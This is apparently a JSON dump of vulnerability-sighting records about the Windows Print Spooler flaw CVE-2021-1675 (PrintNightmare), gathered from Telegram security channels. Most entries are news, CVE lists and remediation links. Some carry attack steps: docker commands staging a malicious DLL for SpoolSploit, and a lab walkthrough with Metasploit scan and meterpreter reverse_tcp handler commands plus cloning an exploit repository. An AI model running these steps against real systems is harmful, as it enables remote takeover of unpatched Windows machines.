trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as CVE-2021-34535\u00a0impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally.\u00a0 These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug as BlueKeep,\u00a0according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerWindows Print Spooler Bugs \u2013 AgainThe final critical bug is CVE-2021-36936, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 requiring a new patch.\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, an EoP issue\u00a0(CVE-2021-34481).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:02.503617Z"}, {"uuid": "7b563139-48d7-4de4-bb5e-3d11e8394d76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/26606", "content": "Disclaimer\nThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code.\nCredits\n\nSpoolSample - Microsoft (https://www.kitploit.com/search/label/Microsoft) Feature\nleechristensen (https://github.com/leechristensen/SpoolSample) discovered the SpoolSample exploit and created a C# POC SpoolSample (https://github.com/leechristensen/SpoolSample/tree/master/SpoolSample)3xocyte (https://gist.github.com/3xocyte) created a Python2 SpoolSample POC dementor (https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#file-dementor-py).\nPrintNightmare - CVE-2021-1675 / CVE-2021-34527\ncube0x0 (https://github.com/cube0x0) created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket (https://github.com/SecureAuthCorp/impacket).Zhiniang Peng (https://twitter.com/edwardzpeng) & Xuefeng Li (https://twitter.com/lxf02942370) discovered this exploit.\n\nDownload SpoolSploit (https://github.com/BeetleChunks/SpoolSploit)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.141731Z"}, {"uuid": "779ff9e7-0304-4829-a8d5-cdc350e26273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/32354", "content": "Exploit Collector\nPrintNightmare Vulnerability\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nWhitepaper called PrintNightmare Vulnerability. This document illustrates the exploitation of the vulnerability found in the Windows spooler service. Originally thought to be a local privilege escalation vulnerability in the Windows Print Spooler, identified as CVE-2021-1675 and patched during Microsoft's June Patch. Microsoft increased the severity of this issue on June 21 as well as reclassifying it as a 'remote code execution' (RCE) threat. This RCE vulnerability has been assigned a new identifier, CVE-2021-34527.\n\nMD5 | abd7ef242b6bd0fffaf67005b519a4bd\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:35.150465Z"}, {"uuid": "618617fc-8be2-4bec-9445-defbc632a198", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/26613", "content": "2_SpoolSample.gif PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEMIncluded in the SpoolSploit container is an SMB server implemented via Impacket. This server can be used to host malicious DLLs when executing the printnightmareattack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.\n\nThe only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/w640-h522/SpoolSploit_3_PrintNightmare.gif DisclaimerThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code. CreditsSpoolSample - Microsoft Feature* leechristensen discovered the SpoolSample exploit and created a C# POC SpoolSample\n* 3xocyte created a Python2 SpoolSample POC dementor. PrintNightmare - CVE-2021-1675 / CVE-2021-34527* cube0x0 created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket.\n* Zhiniang Peng & Xuefeng Li discovered this exploit. Download SpoolSploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.232674Z"}, {"uuid": "ee14b364-0668-4bcd-94bf-e078f41ca689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/15523", "content": "fferent vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nMicrosoft goes on to explain that CVE-2021-34527 existed before the June Patch Tuesday updates and that it affects domain controllers in \u201call versions of Windows.\u201d\n\n\u201cWe are still investigating whether all versions are exploitable,\u201d the company wrote. \u201cWe will update this CVE when that information is evident.\u201d\n\nMicrosoft did not assign a score to CVE-2021-34527, citing its ongoing investigation. Two Vulnerabilities?In retrospect, one security researcher noted to Threatpost when news of PrintNightmare surfaced Tuesday that it was \u201ccurious\u201d that the CVE for the original vulnerability was \u201c-1675,\u201d observing that \u201cmost of the CVEs Microsoft patched in June are -31000 and higher.\u201d\n\n\u201cThis could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial,\u201d Dustin Childs of Trend Micro\u2019s Zero Day Initiative told Threatpost at the time. Now it appears that perhaps Microsoft was patching only part of a more complex vulnerability. The likely scenario appears to be that there are two bugs in Windows Print Spooler that could offer attackers some kind of exploit chain or be used separately to take over systems.\n\nWhile one flaw may indeed have been addressed in June\u2019s Patch Tuesday update, the other could be mitigated by CERT/CC\u2019s workaround\u2014or could remain to be patched by a future Microsoft update that comes after the company completes its investigation.\n\nThe company\u2019s release Thursday of a new CVE related to PrintNightmare seems to be an initial attempt to clarify the situation, though given its developing nature, it remains a bit hazy for now. See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker Source: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/router-90x90.jpg Netgear Authentication Bypass Allows Router Takeover4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/windows-bug-bounty-90x90.jpg PoC Exploit Circulating for Critical Windows Print Spooler Bug5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/linkedin-90x90.png Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/1920px-NVidia_G71_GPU-90x90.jpg NVIDIA Patches High-Severity GeForce Spoof-Attack Bug7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/cisco-90x90.jpg Cisco ASA Bug Now Actively Exploited as PoC Drops1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-7-90x90.png 30M Dell Devices at Risk for Remote BIOS Attacks, RCE2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/09_linux_kernel_vuln-e1624449271917-90x90.png Unpatched Linux Marketplace Bugs Allow Wormable Attacks, Drive-By RCE2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-6-1-90x90.png Email Bug Allows Message Snooping, Credential Theft2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-6-90x90.png Bugs in NVIDIA\u2019s Jetson Chipset Opens Door to DoS Attacks, Data Theft2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/14.4.2-90x90.png New iPhone Bug Breaks Your WiFi: Here\u2019s The Fix2 weeks ago\nstyle=\"display:block; text-align:center;\"\n data-ad-layout=\"in-article\"\n data-ad-format=\"fluid\"\n data-ad-client=\"ca-pub-6620833063853657\"\n data-ad-slot=\"4517761481\"> \nThe post CISA Offers New Mitigation for PrintNightmare Bug first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-02T01:03:08.011577Z"}, {"uuid": "34b5e1ce-bef2-4c18-93af-e56ead974cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/14933", "content": "Black Hat Ethical Hacking\nPoC Exploit Circulating for Critical Windows Print Spooler Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PoC Exploit Circulating for Critical Windows Print Spooler BugPost Views: 49 \nReading Time: 2 Minutes\nA proof-of-concept for a critical Windows security vulnerability that allows remote code execution (RCE) was dropped on GitHub on Tuesday \u2013 and while it was taken back down within a few hours, the code was copied and is still out there circulating on the platform.\nThe \u201cPrintNightmare\u201d bug may not be fully patched, some experts are warning, leaving the door open for widespread remote code-execution attacks.\n\nThe bug (CVE-2021-1675) exists in the Windows Print Spooler and has been dubbed \u201cPrintNightmare\u201d by researchers. It was originally addressed in June\u2019s Patch Tuesday updates\u00a0from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\n\u201cThere are 40 entries in Microsoft\u2019s list of affected products, from Windows 7 to Windows 10 and from Server 2008 to Server 2019,\u201d Dirk Schrader, global vice president of security research at New Net Technologies (NNT), now part of Netwrix, told Threatpost. \u201cGiven this broad surface, it is likely that this vulnerability will become an element in the tool chain of current malware families.\u201d\n\nOn Sunday, the QiAnXin security team tweeted a video\u00a0showing successful RCE \u2013 but it held back any technical or PoC details. Two days later, though, a full-blown PoC with a complete technical analysis appeared on GitHub, authored by another security firm, Sangfor.\nSee Also: Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground Claire Tills, senior security engineer with Tenable, which spotted the PoC posting, noted that \u201cthe GitHub repository was publicly available long enough for others to clone it. The PoC is likely still circulating and is likely to resurface publicly, if it hasn\u2019t already done so.\u201d\n\nAnd indeed, according to one security practitioner, the code was successfully forked to another page.\nLooks like the original PoC for PrintNightmare (CVE-2021-1675) got deleted but someone has forked it since https://t.co/8MiP62SlzC\n\n\u2014 Andy Gill (@ZephrFish) June 29, 2021\nSee Also: Offensive Security Tool: Pixload\nOn Wednesday, other researchers tweeted videos\u00a0and more analysis\u00a0that could be used for successful exploitation as word spread of the PoC.\nImpacket implementation of CVE-2021-1675 https://s.w.org/images/core/emoji/13.0.1/72x72/1f525.png https://t.co/UpKOueij4c\n\n\u2014 Cube0x0 (@cube0x0) June 29, 2021 See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker It should be noted that some sources are also saying that the existing Microsoft patch doesn\u2019t remedy the RCE version. Cube0x0\u2019a impacket implementation above for instance works on a fully patched Windows machine, the authors said.\n\n\u201cWe\u2019re still evaluating the efficacy of the patch ourselves, but there are multiple reports indicating the proof-of-concept code works against fully patched systems,\u201d Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cThis does indicate the patch released in June does not completely address the root cause of the bug. Either way, enterprises should treat this as an incomplete fix and implement other workarounds, such as disabling the print spooler and blocking TCP ports 135 and 445 at the perimeter.\u201d\n\nHe made note of Microsoft\u2019s CVE nomenclature too: \u201cIt\u2019s curious that the CVE here is -1675 while most of the CVEs Microsoft patched in June are -31000 and higher. This could be an indicato[...]", "creation_timestamp": "2026-09-02T01:03:09.234593Z"}, {"uuid": "8f802bf3-6dd1-463a-8402-d1efc941dba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/16793", "content": "WINDOWS PRINT SPOOLER ELEVATION OF PRIVILEGE VULNERABILITY (CVE-2021-1675) EXPLAINED\nhttps://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/\n\nI guess most of you heard about the Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) in the last couple of weeks. It is a vulnerability that gives an attacker high privileges when they own a regular user account on all print spooler service-enabled devices. Unfortunately, it runs on all Windows Operating Systems by default. In this blog post, I will go into the technical aspect of this vulnerability. Remember that CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability. Thalpius Blog Post (https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/)    submitted by    /u/thalpius  (https://www.reddit.com/user/thalpius) \n [link] (https://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/)   [comments] (https://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:07.300924Z"}, {"uuid": "b191160b-37c6-4a5b-acaa-3ffb1f59440b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/15522", "content": "Black Hat Ethical Hacking\nCISA Offers New Mitigation for PrintNightmare Bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg CISA Offers New Mitigation for PrintNightmare BugPost Views: 324 \nReading Time: 1 Minute\nThe U.S. government has stepped in to offer a mitigation for a critical remote code execution (RCE) vulnerability in the Windows Print Spooler service that may not have been fully patched by Microsoft\u2019s initial effort to fix it.\nTo mitigate the bug, dubbed PrintNightmare, the CERT Coordination Center (CERT/CC) has released a VulNote\u00a0for CVE-2021-1675 urging system administrations to disable the Windows Print Spooler service in Domain Controllers and systems that do not print, the Cybersecurity Infratructure and Security Administration (CISA) said in a release\u00a0Thursday. CERT/CC is part of the Software Engineering Institute, a federally funded research center operated by Carnegie Mellon University.\n\n\u201cWhile Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured,\u201d CERT/CC researchers wrote in the note.\n\nThe mitigation is in response to a scenario that unfolded earlier this week when a proof-of-concept (POC) for PrintNightmare was dropped on GitHub on Tuesday. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform. An attacker can use the POC to exploit the vulnerability to take control of an affected system.\n\nIn the meantime, Microsoft Thursday put out a new advisory of its own on PrintNightmare that assigns a new CVE and seems to suggest a new attack vector while attempting to clarify confusion that has arisen over it.\nSee Also: PoC Exploit Circulating for Critical Windows Print Spooler Bug While the company originally addressed CVE-2021-1675 in June\u2019s Patch Tuesday updates\u00a0as a minor elevation-of-privilege vulnerability, the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that the patch appears to fail against the RCE aspect of the bug\u2014hence CISA\u2019s offer of another mitigation and Microsoft\u2019s update. Assignment of New CVE?Regarding the latter, the company dropped a notice\u00a0Thursday for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appears to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\nThe description of the bug sounds like PrintNightmare; indeed, Microsoft acknowledges that it is \u201can evolving situation.\n\n\u201cA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to the notice. \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nIn a \u201cFAQ\u201d section in the security update, Microsoft attempts to explain CVE-2021-34527\u2019s connection to CVE-2021-1675.\nSee Also: Offensive Security Tool: GoSpider\n\u201cIs this the vulnerability that has been referred to publicly as PrintNightmare? Yes, Microsoft has assigned CVE-2021-34527 to this vulnerability,\u201d the company wrote.\n\nHowever, the answer to the question \u201cIs this vulnerability related to CVE-2021-1675?\u201d suggests that CVE-2021-34527 is a different issue.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a di[...]", "creation_timestamp": "2026-09-02T01:03:08.334784Z"}, {"uuid": "7005fb7c-9f9b-4266-ba6b-75eff38f7544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3623", "content": "\ud83d\udd25 WATCH OUT! Microsoft warns of critical PrintNightmare RCE vulnerability (CVE-2021-34527) being exploited in the wild.\n\nDetails: https://thehackernews.com/2021/07/microsoft-warns-of-critical.html\n\nIt is separate from the Windows Print Spooler issue (CVE-2021-1675) Microsoft patched recently.\n\n\nFBI and NSA reveal hacking techniques used by Russian military hackers to target U.S. and European military, government, and political entities.\nDetails \u2014 https://thehackernews.com/2021/07/nsa-fbi-reveal-hacking-methods-used-by.html", "creation_timestamp": "2026-09-02T01:04:33.968928Z"}, {"uuid": "b465008b-396f-4b0b-9496-a041f02f2f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/5362", "content": "CVE-2021-44228 (Log4Shell): Apache Log4j2 - Remote Code Execution (RCE)\n\nCVE-2021-22005: VMware vCenter Server - Arbitrary File Upload\n\nCVE-2021-34527 (PrintNightmare): Windows Print Spooler - RCE\n\nCVE-2021-1675 (PrintNightmare): Windows Print Spooler - Elevation of Privilege\n\nCVE-2021-27065 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-36934: Windows - Elevation of Privilege \n\nCVE-2021-40444: Microsoft MSHTML - RCE\n\nCVE-2021-26855 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-22205: GitLab CE/EE - Remote Code Execution\n\nCVE-2021-21551: Dell - Insufficient Access Control", "creation_timestamp": "2026-09-02T01:04:15.798945Z"}, {"uuid": "3fda7361-e90f-49c0-853d-a35b832491a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/5363", "content": "Vulnerability Remediation Resources\nThe table below provides links to remediation sources for the top 10 exploited vulnerabilities\n  CVE-2021-44228\n  https://logging.apache.org/log4j/2.x/security.html\n \n CVE-2021-22005\nhttps://www.vmware.com/security/advisories/VMSA-2021-0020.html\n\n  CVE-2021-34527\n  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n \n  CVE-2021-1675\n  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675\n  \n   CVE-2021-27065\n   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065\n   \n CVE-2021-36934\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n  \n  CVE-2021-40444\n  https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444\n  \nCVE-2021-26855\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855\n \n  CVE-2021-22205\n   https://gitlab.com/gitlab-org/gitlab/-/issues/327121\n  \n  CVE-2021-21551\n https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-dell-client-platform-security-up-date-for-dell-driver-insufficient-access-control-vulnerability", "creation_timestamp": "2026-09-02T01:04:15.327494Z"}, {"uuid": "e0a8ef23-d213-4aff-8dfa-24e6bbe20194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3613", "content": "\ud83d\udd25 Researchers publish a proof-of-concept exploit for a critical vulnerability (CVE-2021-1675) affecting Microsoft Windows operating systems\nDetails \u2014 https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html\n\nInternational law enforcement agencies seized the domain, servers and logs of the Russia-based DoubleVPN service for providing a safe haven for cybercriminals to cover their tracks.\nRead: https://thehackernews.com/2021/06/authorities-seize-doublevpn-service.html", "creation_timestamp": "2026-09-02T01:04:34.550941Z"}, {"uuid": "fc7e1ddb-4321-43b6-a8a5-59a5a2ee587d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/4242", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2026-09-02T01:04:27.749665Z"}, {"uuid": "21094678-10d9-47d7-a6fc-8753e806cb09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3702", "content": "#cve #windows #spooler #rce\n\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\nSource : \nhttps://github.com/afwu/PrintNightmare", "creation_timestamp": "2026-09-02T01:04:33.688107Z"}, {"uuid": "c42041f6-d20a-4620-bbfa-86dc5a377a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/GvfR5TiIz5AGTLxNK0NHF1rEL-rqaKshudCOKUMqTVI5bvk", "content": "", "creation_timestamp": "2026-09-02T16:00:04.092405Z"}, {"uuid": "86809ae2-ccec-4366-b6cb-9c41fbb3bdd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/GvfR5TiIz5AGTLxNK0NHF1rEL-rqaKshudCOKUMqTVI5bvk", "content": "", "creation_timestamp": "2026-09-03T00:00:42.536842Z"}, {"uuid": "5cff690f-2900-408c-bac5-48b3d1abc1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43503", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content\u00b7 Print Spooler Basics\u00b7 Vulnerability Summary\u00b7 Vulnerability Flow\u00b7 Machine IPs\u00b7 Method 1 - PrintNightmare RCE using Python\u00b7 Method 2 - PrintNightmare LPE using Powershell\u00b7 Method 3 - Printnightmare LPE using Mimikatz\u00b7 Patch Status\u00b7 ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T07:00:04.811522Z"}, {"uuid": "8a97602f-a1f0-4d0e-adf4-fdc2107d32e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py 